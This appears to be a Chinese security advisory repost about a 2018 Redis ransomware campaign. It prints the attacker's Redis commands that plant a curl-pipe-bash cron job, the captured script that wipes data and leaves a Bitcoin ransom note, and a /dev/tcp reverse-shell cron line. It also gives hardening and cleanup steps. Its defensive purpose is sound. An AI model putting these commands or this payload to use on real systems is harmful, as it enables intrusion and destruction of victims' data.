【漏洞】Redis 勒索病毒

一 、来自 freebuf 的报道

安全事件

2018 年 9 月 10 日下午 15 : 06 开始,阿里云官方首次发现一起规模化利用 Redis 未授权访问漏洞进行加密货币勒索的事件,阿里云上防御系统在攻击开始的 10 s 内就已开启全网拦截。

与以往的只是通过算力窃取进行挖矿的攻击事件不同,此次攻击者在攻击之初就是以勒索钱财作为第一目的的,攻击者无惧暴露,非常猖狂。直接删除数据、加密数据也意味着攻击者与防御者之间已经没有缓冲地带,基本的攻防对抗将是赤裸裸的一场刺刀战。

该高危漏洞早在半年前阿里云就发布过预警,但是还是有不少用户并未进行修改并加以重视。阿里云安全专家提醒用户参考文末方法,尽快完成漏洞修复或部署防御,一旦被攻击成功,整个服务器的程序和数据都将会被删除且很难恢复。

Redis 应用简介

Redis 是一个开源的使用 ANSI C 语言编写、支持网络、可基于内存亦可持久化的日志型、Key – Value 数据库,并提供多种语言的 API 。从 2010 年 3 月 15 日起,Redis 的开发工作由 VMware 主持。从 2013 年 5 月开始,Redis 的开发由 Pivotal 赞助。

Redis 漏洞原理

作为一个内存数据库,Redis 可通过周期性配置或者手动执行 save 命令,将缓存中的值写入到磁盘文件中。如果 Redis 进程权限足够,攻击者就可以利用它的未授权漏洞来写入计划任务、ssh 登录密钥、webshell 等等,以达到执行任意指令的目的。

自 2017 年 12 月以来,由于该漏洞已经被大规模利用,如 DDG 等多个僵尸网络都以该漏洞为目标进行迅速的繁殖和占领算力,并且各大僵尸网络间都会互相删除彼此来保证自己对机器算力的掌握。

攻击过程说明

( 1 )首先攻击者通过事先的扫描踩点,发现了这些公网可访问并且未设置密码的机器。

( 2 )攻击者尝试连接这些机器,并且运行如下代码:

config set dir /var/spool/cron/
config set dbfilename root
config 1 */10 * * * * curl -s http://103.224.80.52/butterfly.sh | bash 
save

通过上述指令,将下载脚本:http://103.224.80.52/butterfly.sh 并将该脚本写入到计划任务中,由计划任务启动执行。

由于在分析时,攻击者感知到我们的反向探查,已经将该脚本下线。但我们的蜜罐成功抓取到了该脚本如下:

#!/bin/bash
#*butterfly*
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin
userdel -r redis
useradd -o -u 0 -g 0 redis  &>/dev/null
echo "abcd-1234-!" |passwd --stdin redis &>/dev/null

rm -rf /root/*
rm -rf /home/*
rm -rf /opt/*
rm -rf /data/*
rm -rf /data*
mkdir -p /data

echo -e "\nWarning! \nYour File and DataBase is downloaded and backed up on our secured servers. To recover your lost data : Send 0.6 BTC to our BitCoin Address and Contact us by eMail with your server IP Address and a Proof of Payment. Any eMail without your server IP Address and a Proof of Payment together will be ignored. We will drop the backup after 24 hours. You are welcome! \nMail:dbsecuritys@protonmail.com \nBitCoin:3JPaDCoRnQatEEDoY59KtgF38GZiL5Kiny\n" > /root/Warning.txt

chmod +x /root/Warning.txt
cp /root/Warning.txt /Warning.txt
cp /root/Warning.txt /data/Warning.txt

( 3 )攻击者要求给地址:3JPaDCoRnQatEEDoY59KtgF38GZiL5Kiny 发送 0.6 个比特币,否则将在 24 小时之内删除数据备份。

( 4 )但是从这个脚本中可以明显看出,攻击者根本没有进行备份,即使给了攻击者钱,也是要不回数据的。

截止到 9 月 10 日晚 8 点为止,该地址共收到了 0.6 个比特币的转账,并且都是在今日进行发送的,已经有受害者开始转账了。

【漏洞】Redis 勒索病毒
【漏洞】Redis 勒索病毒

安全建议

  1. 通过安全组限制对公网对 Redis 等服务的访问;
  2. 通过修改 redis.conf 配置文件,增加密码认证,并隐藏重要命令;
  3. 以低权限运行 Redis 服务等。

二 、Redis 勒索病毒预警

Redis 应用介绍及漏洞攻击手段

1 、Redis 应用介绍

Redis 是 key – value 数据库,一般企业级使用场景为内部查询缓存。支持的 value 值包括 string 、list 、set 、zset 和 hash ,为了保证效率,数据都是缓存在内存中,当然 Redis 会周期性的把更新数据写入到磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了 master – slave 同步。

2 、攻击手段

  • 获取服务器开放端口信息:
    Nmap -A -p 6379 -script redis-info x.x.x.x
  • 安装 Redis 的 python 访客包模拟 client 访问服务器;
  • 如果密码不为空的情况下使用 hydra 暴力破解;
  • 写入 SSH 公钥,获得操作权限;
  • 首先在 C & C 服务器上生成自己的公钥 ssh-keygen -t rsa ;
  • 将公钥导入到 C2key.txt 文件;
  • 通过修改数据库默认路径为 root/.ssh 和默认的缓冲文件 authorized.keys 把缓冲数据写入到文件中,这样就可以生成一个授权的 key :
    Config set mypath /root/.ssh
    Config set myname authorized.keys
  • 最重要的一点,搞完之后要隐藏攻击路径,恢复设置;
  • 写入反弹 shell :
    set yyy “\n\n* /1 /bin/bash -i>&/dev/tcp/x.x.x.x/5678 0>&1\n\n”
    Config set mypath /var/spool/cron
    Config set myname root
    也可直接写入挖矿程序、webshell 、勒索软件、DDoS 攻击程序等攻击手段。

如何防范和应对 Redis 勒索病毒

【漏洞概述】

Redis 默认情况下,会绑定在 0.0.0.0:6379 ,导致 Redis 服务暴露到公网上。

如果在没有开启认证并且在任意用户可以访问目标服务器的情况下,可以未授权访问 Redis 服务,进一步可进行数据增删改查,甚至获取服务器权限等恶意操作。

【风险等级】

高风险。

【漏洞风险】

主机被远程控制,泄漏敏感业务数据。

【漏洞利用条件】

  1. Redis 服务以 root 账户运行;
  2. Redis 无密码或弱密码进行认证;
  3. Redis 监听在 0.0.0.0 公网上。

【加固建议】

  1. 禁止 Redis 服务对公网开放,可通过修改 redis.conf 配置文件中的 ” #bind 127.0.0.1 ” ,去掉前面的 ” # ” 即可( Redis 本来就是作为内存数据库,只要监听在本机即可);
  2. 设置密码访问认证,可通过修改 redis.conf 配置文件中的 ” requirepass ” 设置复杂密码 (需要重启 Redis 服务才能生效);
  3. 对访问源 IP 进行访问控制,可在防火墙限定指定源 IP 才可以连接 Redis 服务器;
  4. 修改 Redis 默认端口,将默认的 6379 端口修改为其他端口;
  5. 禁用 config 指令避免恶意操作,在 Redis 配置文件 redis.conf 中配置 rename-command 项 ” RENAME_CONFIG ” ,这样即使存在未授权访问,也能够给攻击者使用 config 指令加大难度;
  6. Redis 使用普通用户权限,禁止使用 root 权限启动 Redis 服务,这样可以保证在存在漏洞的情况下攻击者也只能获取到普通用户权限,无法获取 root 权限;
  7. 定期关注最新软件版本,并及时升级 Redis 到最新版,防止新漏洞被恶意利用。

【清理木马】

  1. 阻断服务器通讯(如 iptables -A INPUT -sxmr.crypto-pool.fr -j DROP and iptables -A OUTPUT -d xmr.crypto-pool.fr -jDROP );
  2. 清除定时器任务(如 systemctl stop crond 或者 crontab –e 删除未知的计划任务);
  3. 删除木马和未知公钥文件(如 /tmp/Circle_MI.png ,/opt/minerd ,/root/.mcfg ,/root/.daemond ,/tmp/kworker34 ,/root/.httpd 等及 ~/.ssh/ 中未知授权;chmod –x 恶意程序);
  4. 终止木马进程(如 pkill minerd ,pkill/root/.mcfg ,pkill /tmp/kworker34 ,pkill /root/.daemond ,pkill /tmp/kworker34 ,pkill /root/.httpd );
  5. 终止恶意 service(查看是否有恶意的服务,如 lady – service ladystop )。

 

参考自:

  • https://www.freebuf.com/vuls/183992.html
  • https://www.cnblogs.com/qcloud1001/p/9629490.html
打赏作者
这里是 “ CCIE 工程师社区 ” 官方的捐款通道,您是否可以考虑请我们喝杯咖啡呢?

您的支持将鼓励我们继续创作!

[微信] 扫描二维码打赏

[支付宝] 扫描二维码打赏

Was this article helpful?

Related Articles

Leave A Comment?

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据